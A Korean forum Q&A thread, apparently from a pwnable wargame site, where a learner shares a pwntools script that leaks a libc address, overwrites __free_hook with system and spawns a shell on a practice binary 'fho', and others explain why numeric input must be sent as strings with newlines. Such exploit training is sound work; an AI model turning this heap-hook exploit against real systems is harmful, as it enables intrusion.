입력시 다른 값 나옴
__free_hook주소도 다 구하고 system 주소 구하고 값을 pwntools로 넣었더니 실제 들어가는 값은 다르네요
직접 입력해서 값을 넣어보면 들어가는 값도 같게 나오는데 이유가 뭘까요
0x7fd2ae32f8e8 <- __free_hook # pwntools로 보낸거
0x7fd2adf91420 <- system
[0x7fff247b4528] = 15775231
#pwnable
작성자 정보
답변
4
propaganda
댓글 작성: 10
음..로되리안 때문 아닐까요??
redticket
질문 등록: 10
p = process('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_start_main_offset = libc.symbols['__libc_start_main']
free_hook_offset = libc.symbols['__free_hook']
system_offset = libc.symbols['system']
payload = b'A'*0x40 + b'B'*0x8
p.sendafter('Buf: ',payload)
p.recvuntil(b'A'*0x40+b'B'*0x8)
libc_start_main = u64(p.recv(6)+b'\x00\x00') # get libc_start_main+231
libc_start_main = libc_start_main-231
lb = libc_start_main - libc_start_main_offset
free_hook = lb + free_hook_offset
system = lb + system_offset
binsh = lb + 0x1b3d88
print(f'lb : {lb}')
print(f'__free_hook : {free_hook}')
print(f'system : {system}')
print(f'/bin/sh : {binsh}')
p.sendafter('To write: ', p64(free_hook))
p.sendafter('With: ', p64(system))
p.sendafter('To free: ', p64(binsh))
p.interactive()
이렇게 send로 보내면 안되고
lb, free_hook, system, binsh print한걸로 직접 입력하니깐 쉘이 얻어지네요
redticket
질문 등록: 10
해결이 안되서 강의보니깐 str으로 보내야되더군요
str으로 보내는건 이해되는데 p64로 보내면 왜 다른 값이 나오는건가요.
그리고 이렇게 보내는게 아니라
p.sendafter('To write: ', p64(free_hook))
p.sendafter('With: ', p64(system))
p.sendafter('To free: ', p64(binsh))
line을 붙여서 보내야 쉘이 얻어지네요.
주소 보낼때 line붙이면 꼭 0x0a에 붙는거 때문에 안넣었는데 이건 왜 넣어야 실행이 되는건가요
p.sendlineafter('To write: ', str(free_hook))
p.sendlineafter('With: ', str(system))
p.sendlineafter('To free: ', str(binsh))
wyv3rn
무플 방지 위원회장
받아들이는 함수에 따라 맞춰서 사용하셔야합니다 ㅎㅎ
예를 들면 int 값으로 받으면 int로, 문자열로 받으면 문자열로요.
그리고 scanf냐 read냐에 따라 send, sendline이 달라집니다
자세한건 pwntools 매뉴얼 참고하세용